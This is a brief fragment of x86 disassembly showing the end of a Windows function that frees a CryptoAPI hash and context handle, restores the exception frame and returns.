jmp 0x402a30
push dword [ebp - 0x10]
mov ecx, edi
call fcn.00402f40
mov esi, eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], 0x52fe1c
test eax, eax
je 0x402a49
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], 0x52fe14
test eax, eax
je 0x402a6e
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8